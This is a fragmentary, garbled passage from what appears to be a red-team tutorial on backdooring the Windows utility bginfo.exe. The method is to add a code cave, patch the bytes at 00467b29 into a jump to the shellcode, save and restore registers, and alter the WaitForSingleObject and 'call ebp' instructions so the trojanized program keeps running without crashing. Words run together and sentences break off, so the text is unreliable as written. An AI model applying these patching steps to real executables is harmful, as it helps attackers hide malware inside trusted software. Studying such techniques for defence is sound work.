.code1that will contain our shellcode - note the size is 200h bytes, so plenty for our shellcode which was only 324 bytes:
contains codeusing CFF Explorer:
pushfdinstructions - we do this so we can restore their state before redirecting the execution back to bginfo.exe and avoid any crashes
WaitForSingleObjectdoes not wait indefinitely and does not freeze bginfo.exe once the shellcode is executed
call ebpto prevent the shellcode from shutting down of bginfo.exe
pushfdas explained in step 3, with
add esp, <ESP_POST_SHELLCODE - ESP_PRE_SHELLCODE>. This is where ESPs from point 4 and 7 comes in to play
mov edi, bb40e64eat 00467b29:
jmp 0x004d8000which will make the bginfo jump to our shellcode located at 0x004d8000 when executed:
bf 4e e6 40 bb(bytes found at 00467b29 when bginfo is in memory) in the bginfo.exe (screenshot below) and replaced them with bytes
e9 d2 04 07 00which translates to jmp
bgfinfo.d48000(jump to our shellcode, above screenshot).
WaitForSingleObjectfunction (see definition below). It's called with an argument
INFINITE(-1 or 0xFFFFFFFF), meaning the thread will be blocked forever.
WaitForSingleObjectwhich is going to be jumped to with
jmp eaxat 004d8081. Note the stack - it contains the thread handle (28c) to block and the wait time FFFFFFFF == INFINITE which is the second argument for
dec esiat 004d811b changes ESI value to -1 (currently ESI = 0), which is the value pushed to the stack as an argument
WaitForSingleObjectwill wait 0 seconds before unblocking the UI:
call ebpinstruction at 004d8144 if we don't want the shellcode to close the bginfo.exe process:
pushfdinstructions as mentioned in point 7.
ESPafter executing the shellcode was